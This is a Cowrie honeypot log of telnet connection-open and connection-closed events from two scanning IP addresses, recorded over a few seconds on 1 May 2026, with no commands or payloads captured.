{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44906,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ca7a453553","protocol":"telnet","message":"New connection: 208.115.200.90:44906 (10.17.0.5:23) [session: 63ca7a453553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.703449Z"}
{"eventid":"cowrie.session.closed","duration":31.35063409805298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.959331Z","src_ip":"208.115.219.122","session":"f16038bf4417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680980443954468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.015484Z","src_ip":"208.115.219.122","session":"02be333087ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36286,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba22deff268","protocol":"telnet","message":"New connection: 208.115.219.122:36286 (10.17.0.5:23) [session: eba22deff268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.027446Z"}
{"eventid":"cowrie.session.closed","duration":30.506006002426147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.039948Z","src_ip":"208.115.200.90","session":"3add812abf8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e99d73f9b9","protocol":"telnet","message":"New connection: 208.115.200.90:45552 (10.17.0.5:23) [session: b9e99d73f9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.055378Z"}
{"eventid":"cowrie.session.closed","duration":30.965639114379883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.067154Z","src_ip":"208.115.219.122","session":"ba33126a931b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45568,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a524f8de39","protocol":"telnet","message":"New connection: 208.115.200.90:45568 (10.17.0.5:23) [session: 81a524f8de39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.072791Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff119be41877","protocol":"telnet","message":"New connection: 208.115.200.90:45576 (10.17.0.5:23) [session: ff119be41877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.153993Z"}
{"eventid":"cowrie.session.closed","duration":30.50901222229004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.200776Z","src_ip":"208.115.200.90","session":"b570fcb90528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045470714569092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.210987Z","src_ip":"208.115.219.122","session":"05dc7d2596f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36378,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7cab219a84","protocol":"telnet","message":"New connection: 208.115.219.122:36378 (10.17.0.5:23) [session: ec7cab219a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.245041Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36382,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc52c05a7cf","protocol":"telnet","message":"New connection: 208.115.219.122:36382 (10.17.0.5:23) [session: dcc52c05a7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.249120Z"}
{"eventid":"cowrie.session.closed","duration":31.145542860031128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.300262Z","src_ip":"208.115.200.90","session":"5e07fbd38118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314679861068726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.343459Z","src_ip":"208.115.200.90","session":"e4ff04a0d62b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36402,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff4b2dcc029","protocol":"telnet","message":"New connection: 208.115.219.122:36402 (10.17.0.5:23) [session: 5ff4b2dcc029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.497577Z"}
{"eventid":"cowrie.session.closed","duration":31.39120364189148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.507681Z","src_ip":"208.115.219.122","session":"6f71579b2d37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45794,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd7f63664e45","protocol":"telnet","message":"New connection: 208.115.200.90:45794 (10.17.0.5:23) [session: bd7f63664e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.642872Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46122,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabcc6918724","protocol":"telnet","message":"New connection: 208.115.200.90:46122 (10.17.0.5:23) [session: cabcc6918724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.889574Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46208,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad6e1ea7c58","protocol":"telnet","message":"New connection: 208.115.200.90:46208 (10.17.0.5:23) [session: 2ad6e1ea7c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:42.940001Z"}
{"eventid":"cowrie.session.closed","duration":30.96275496482849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.014133Z","src_ip":"208.115.219.122","session":"327e7ca0b00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806022882461548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.021956Z","src_ip":"208.115.219.122","session":"ae046051c6ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46354,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a243d73e88f","protocol":"telnet","message":"New connection: 208.115.200.90:46354 (10.17.0.5:23) [session: 9a243d73e88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.034024Z"}
{"eventid":"cowrie.session.closed","duration":30.1550076007843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.038316Z","src_ip":"208.115.219.122","session":"e03418c3a010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001644372940063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.071954Z","src_ip":"208.115.219.122","session":"77471e65ef3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0402633342","protocol":"telnet","message":"New connection: 208.115.219.122:36538 (10.17.0.5:23) [session: 1e0402633342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.085911Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36562,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8d9d6c82b0","protocol":"telnet","message":"New connection: 208.115.219.122:36562 (10.17.0.5:23) [session: 7e8d9d6c82b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.099885Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f9e7b38988","protocol":"telnet","message":"New connection: 208.115.200.90:46394 (10.17.0.5:23) [session: 96f9e7b38988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.170041Z"}
{"eventid":"cowrie.session.closed","duration":31.10805916786194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.182537Z","src_ip":"208.115.219.122","session":"bb0ba1553c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46406,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27e315affc0","protocol":"telnet","message":"New connection: 208.115.200.90:46406 (10.17.0.5:23) [session: c27e315affc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.196027Z"}
{"eventid":"cowrie.session.closed","duration":30.76115846633911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.225538Z","src_ip":"208.115.200.90","session":"ac037c78acaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7790584564209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.250512Z","src_ip":"208.115.200.90","session":"0c35fd131dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36610,"dst_ip":"10.17.0.5","dst_port":23,"session":"83461dcdd8d0","protocol":"telnet","message":"New connection: 208.115.219.122:36610 (10.17.0.5:23) [session: 83461dcdd8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.255540Z"}
{"eventid":"cowrie.session.closed","duration":30.444225549697876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.376693Z","src_ip":"208.115.219.122","session":"ab4620cfa082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46440,"dst_ip":"10.17.0.5","dst_port":23,"session":"843b226d4aba","protocol":"telnet","message":"New connection: 208.115.200.90:46440 (10.17.0.5:23) [session: 843b226d4aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.382812Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46488,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7665ecaf22","protocol":"telnet","message":"New connection: 208.115.200.90:46488 (10.17.0.5:23) [session: 4f7665ecaf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.431008Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46536,"dst_ip":"10.17.0.5","dst_port":23,"session":"c305df03dd04","protocol":"telnet","message":"New connection: 208.115.200.90:46536 (10.17.0.5:23) [session: c305df03dd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.481359Z"}
{"eventid":"cowrie.session.closed","duration":31.266862154006958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.500358Z","src_ip":"208.115.200.90","session":"4b0a10d9a817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6cf7982726","protocol":"telnet","message":"New connection: 208.115.200.90:46590 (10.17.0.5:23) [session: ca6cf7982726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.561373Z"}
{"eventid":"cowrie.session.closed","duration":30.977834224700928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.611533Z","src_ip":"208.115.200.90","session":"56f5b03896d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.523882627487183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.648356Z","src_ip":"208.115.219.122","session":"e87b29b3f7ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36628,"dst_ip":"10.17.0.5","dst_port":23,"session":"875685507fff","protocol":"telnet","message":"New connection: 208.115.219.122:36628 (10.17.0.5:23) [session: 875685507fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.695470Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46678,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f14b4b8547","protocol":"telnet","message":"New connection: 208.115.200.90:46678 (10.17.0.5:23) [session: e8f14b4b8547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:43.755618Z"}
{"eventid":"cowrie.session.closed","duration":30.946720600128174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.038506Z","src_ip":"208.115.219.122","session":"c7a7eb3a63f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36265540122986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.044330Z","src_ip":"208.115.200.90","session":"6f2a5040c518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85806918144226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.053321Z","src_ip":"208.115.219.122","session":"c5e4041f132b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"260c01d83ce2","protocol":"telnet","message":"New connection: 208.115.200.90:46920 (10.17.0.5:23) [session: 260c01d83ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.104636Z"}
{"eventid":"cowrie.session.closed","duration":30.92510175704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.167005Z","src_ip":"208.115.219.122","session":"4ba7954b6127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38936948776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.256713Z","src_ip":"208.115.200.90","session":"e1957c49c0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584715366363525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.320699Z","src_ip":"208.115.200.90","session":"f2fb554452b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34010,"dst_ip":"10.17.0.5","dst_port":23,"session":"121a3e33be04","protocol":"telnet","message":"New connection: 208.115.200.90:34010 (10.17.0.5:23) [session: 121a3e33be04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.327954Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36786,"dst_ip":"10.17.0.5","dst_port":23,"session":"241dc5b89711","protocol":"telnet","message":"New connection: 208.115.219.122:36786 (10.17.0.5:23) [session: 241dc5b89711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.466527Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36844,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc2a0cfcae0","protocol":"telnet","message":"New connection: 208.115.219.122:36844 (10.17.0.5:23) [session: 2fc2a0cfcae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.553324Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36932,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed122393a40d","protocol":"telnet","message":"New connection: 208.115.219.122:36932 (10.17.0.5:23) [session: ed122393a40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.704117Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34758,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b23e0ff8ab1","protocol":"telnet","message":"New connection: 208.115.200.90:34758 (10.17.0.5:23) [session: 5b23e0ff8ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.801779Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d3f7571883","protocol":"telnet","message":"New connection: 208.115.219.122:36988 (10.17.0.5:23) [session: 76d3f7571883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.807559Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34902,"dst_ip":"10.17.0.5","dst_port":23,"session":"91415a2f1fb0","protocol":"telnet","message":"New connection: 208.115.200.90:34902 (10.17.0.5:23) [session: 91415a2f1fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.882379Z"}
{"eventid":"cowrie.session.closed","duration":31.90011978149414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:44.966739Z","src_ip":"208.115.200.90","session":"468f729ec6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce45b4dc3c12","protocol":"telnet","message":"New connection: 208.115.200.90:35252 (10.17.0.5:23) [session: ce45b4dc3c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.031207Z"}
{"eventid":"cowrie.session.closed","duration":30.714409351348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.039635Z","src_ip":"208.115.219.122","session":"49c4a697ccc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57550835609436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.048972Z","src_ip":"208.115.200.90","session":"c55a102dd24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54322,"dst_ip":"10.17.0.5","dst_port":23,"session":"34b8270909ef","protocol":"telnet","message":"New connection: 208.115.219.122:54322 (10.17.0.5:23) [session: 34b8270909ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.069604Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35278,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4248376056","protocol":"telnet","message":"New connection: 208.115.200.90:35278 (10.17.0.5:23) [session: 3d4248376056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.095534Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35288,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f17290e057f","protocol":"telnet","message":"New connection: 208.115.200.90:35288 (10.17.0.5:23) [session: 3f17290e057f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.100075Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35304,"dst_ip":"10.17.0.5","dst_port":23,"session":"eab5d8ea7b13","protocol":"telnet","message":"New connection: 208.115.200.90:35304 (10.17.0.5:23) [session: eab5d8ea7b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.105568Z"}
{"eventid":"cowrie.session.closed","duration":30.82758855819702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.148125Z","src_ip":"208.115.200.90","session":"38f238f1c9fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35324,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ba12f773d2","protocol":"telnet","message":"New connection: 208.115.200.90:35324 (10.17.0.5:23) [session: f9ba12f773d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.165416Z"}
{"eventid":"cowrie.session.closed","duration":31.138235330581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.173063Z","src_ip":"208.115.200.90","session":"a7d04bd30dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54358,"dst_ip":"10.17.0.5","dst_port":23,"session":"c07eb98ad1f1","protocol":"telnet","message":"New connection: 208.115.219.122:54358 (10.17.0.5:23) [session: c07eb98ad1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.213128Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35362,"dst_ip":"10.17.0.5","dst_port":23,"session":"489a8802c6b3","protocol":"telnet","message":"New connection: 208.115.200.90:35362 (10.17.0.5:23) [session: 489a8802c6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.299190Z"}
{"eventid":"cowrie.session.closed","duration":30.9190354347229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.372012Z","src_ip":"208.115.200.90","session":"b3763ac4940f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141759872436523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.378856Z","src_ip":"208.115.200.90","session":"f38225f42abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004724502563477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.474347Z","src_ip":"208.115.200.90","session":"b23faf7f1a56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6919367313385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.492446Z","src_ip":"208.115.200.90","session":"bbcc46ae013e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35602,"dst_ip":"10.17.0.5","dst_port":23,"session":"635e2314c56f","protocol":"telnet","message":"New connection: 208.115.200.90:35602 (10.17.0.5:23) [session: 635e2314c56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.531976Z"}
{"eventid":"cowrie.session.closed","duration":30.87346625328064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.570438Z","src_ip":"208.115.200.90","session":"8dbb7593c71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35778,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a0f2e479662","protocol":"telnet","message":"New connection: 208.115.200.90:35778 (10.17.0.5:23) [session: 5a0f2e479662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:45.629430Z"}
{"eventid":"cowrie.session.closed","duration":31.951871633529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.011044Z","src_ip":"208.115.219.122","session":"31be1310ae10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404220581054688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.026706Z","src_ip":"208.115.200.90","session":"2127d9360e55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9374098777771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.033044Z","src_ip":"208.115.219.122","session":"029320ecc6f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002063035964966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.036441Z","src_ip":"208.115.219.122","session":"a23039d58134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965934991836548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.047694Z","src_ip":"208.115.219.122","session":"263ee06011bd","protocol":"telnet"}
